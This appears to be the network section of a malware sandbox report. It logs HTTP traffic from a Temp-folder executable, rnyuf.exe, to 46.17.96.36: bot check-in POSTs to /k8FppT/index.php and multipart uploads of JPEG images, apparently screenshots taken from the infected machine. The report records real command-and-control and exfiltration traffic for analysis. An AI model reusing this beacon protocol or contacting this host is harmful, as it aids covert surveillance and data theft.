Aug 29, 2021 22:27:17.023384094 CEST	3089	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:17.023550987 CEST	3101	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:17.023849964 CEST	3106	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:17.058459044 CEST	3117	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:17.058510065 CEST	3127	OUT	Data Raw: 1c a2 16 0a 36 95 e0 48 07 5a bf 79 7f a3 c5 e3 ab fd 76 2d 6e d2 e2 d6 f0 de 6d 48 a1 9c 48 9e 64 12 2a ee 0d 18 1c b3 01 c1 3d 7d 39 a7 ed ea 59 bb 7f 37 e1 b0 4a 85 3b d9 3e a6 24 1a 3c af 15 ec b7 57 16 f6 29 63 70 96 d7 26 e3 7f ee dd b7 e3 Data Ascii: 6HZyv-nmHHd=}9Y7J;>$<W)cp&V$,Wn\|/,76yqsd$v5U]r;eex+\kl)BD]:'h<7 I\KYhqOU2}.KqcMp4M*R6v6
Aug 29, 2021 22:27:17.058537006 CEST	3130	OUT	Data Raw: 4b 96 37 fe b7 7f e4 64 d4 af 14 b1 47 14 92 45 22 47 32 96 8d 99 48 0e 01 20 90 7b 8c 82 38 ee 2a 2a e9 f5 1d 2f 56 b9 f0 9f 86 2f ed 34 fb a9 6d 6d ed 26 f3 2e 12 06 68 a3 22 e6 43 f3 36 36 8e dd 4d 6d 39 f2 b5 e6 ed f9 99 46 1c c9 99 bf d8 1a Data Ascii: K7dGE"G2H {8**/V/4mm&.h"C66Mm9F3>e-le\|(1q+2yK22! `F@'W}a}ZLCQnt$,e#,0OA-Qn-G?l.Kn,>U cb_2_c
Aug 29, 2021 22:27:17.168260098 CEST	3175	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
190	192.168.2.4	49929	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:06.790169954 CEST	13366	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:06.870184898 CEST	13367	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
191	192.168.2.4	49930	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:07.086066008 CEST	13367	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:07.086180925 CEST	13368	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:07.086383104 CEST	13378	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:07.086496115 CEST	13380	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:07.123935938 CEST	13386	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:07.124003887 CEST	13396	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:28:07.124031067 CEST	13406	OUT	Data Raw: b3 13 c9 24 f7 34 66 bb 23 b2 4c e4 95 9b 6d 0e f2 d4 f7 a4 31 0f 5a 4e 69 72 6a b4 27 51 3c 9f 7a 3c 93 4b b8 d2 ef 34 59 0e f2 19 e5 35 21 42 2a 5f 33 da 9d e6 0f 4a 2c 85 76 56 c1 f4 a5 c7 b5 58 dc a7 b5 38 04 3d a8 e4 0e 72 a5 15 68 c6 9d 8d Data Ascii: $4f#Lm1ZNirj'Q<z<K4Y5!B*_3J,vVX8=rh'Mjoy+dCKRy,)l;Qf;SNYQE%(QKLAEPEJ(,!(bbQE)iZ){!i`Z))EIAKE-)j,(SR>Sii:@PE-B
Aug 29, 2021 22:28:07.159794092 CEST	13409	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:07.159820080 CEST	13411	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:28:07.159846067 CEST	13417	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:28:07.159871101 CEST	13419	OUT	Data Raw: 1c a2 16 0a 36 95 e0 48 07 5a bf 79 7f a3 c5 e3 ab fd 76 2d 6e d2 e2 d6 f0 de 6d 48 a1 9c 48 9e 64 12 2a ee 0d 18 1c b3 01 c1 3d 7d 39 a7 ed ea 59 bb 7f 37 e1 b0 4a 85 3b d9 3e a6 24 1a 3c af 15 ec b7 57 16 f6 29 63 70 96 d7 26 e3 7f ee dd b7 e3 Data Ascii: 6HZyv-nmHHd=}9Y7J;>$<W)cp&V$,Wn\|/,76yqsd$v5U]r;eex+\kl)BD]:'h<7 I\KYhqOU2}.KqcMp4M*R6v6
Aug 29, 2021 22:28:07.268055916 CEST	13476	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
192	192.168.2.4	49931	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:07.138973951 CEST	13406	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:07.212142944 CEST	13475	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
193	192.168.2.4	49932	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:07.363717079 CEST	13477	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:07.433898926 CEST	13477	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
194	192.168.2.4	49933	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:07.572616100 CEST	13478	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:07.572700977 CEST	13478	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:07.572865963 CEST	13488	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:07.572997093 CEST	13490	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:07.606334925 CEST	13493	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:07.606398106 CEST	13499	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:28:07.606417894 CEST	13504	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:28:07.607032061 CEST	13507	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:28:07.607067108 CEST	13511	OUT	Data Raw: b3 13 c9 24 f7 34 66 bb 23 b2 4c e4 95 9b 6d 0e f2 d4 f7 a4 31 0f 5a 4e 69 72 6a b4 27 51 3c 9f 7a 3c 93 4b b8 d2 ef 34 59 0e f2 19 e5 35 21 42 2a 5f 33 da 9d e6 0f 4a 2c 85 76 56 c1 f4 a5 c7 b5 58 dc a7 b5 38 04 3d a8 e4 0e 72 a5 15 68 c6 9d 8d Data Ascii: $4f#Lm1ZNirj'Q<z<K4Y5!B*_3J,vVX8=rh'Mjoy+dCKRy,)l;Qf;SNYQE%(QKLAEPEJ(,!(bbQE)iZ){!i`Z))EIAKE-)j,(SR>Sii:@PE-B
Aug 29, 2021 22:28:07.607336998 CEST	13516	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:28:07.639525890 CEST	13519	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:07.744636059 CEST	13586	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive X-Powered-By: PHP/5.6.40

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
195	192.168.2.4	49934	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:07.653723001 CEST	13567	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:07.750045061 CEST	13587	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
196	192.168.2.4	49935	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:08.131700039 CEST	13587	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:08.206363916 CEST	13588	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
197	192.168.2.4	49936	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:08.215981960 CEST	13588	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:08.216072083 CEST	13588	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:08.216259003 CEST	13599	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:08.216417074 CEST	13601	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:08.248502016 CEST	13609	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:08.248565912 CEST	13620	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
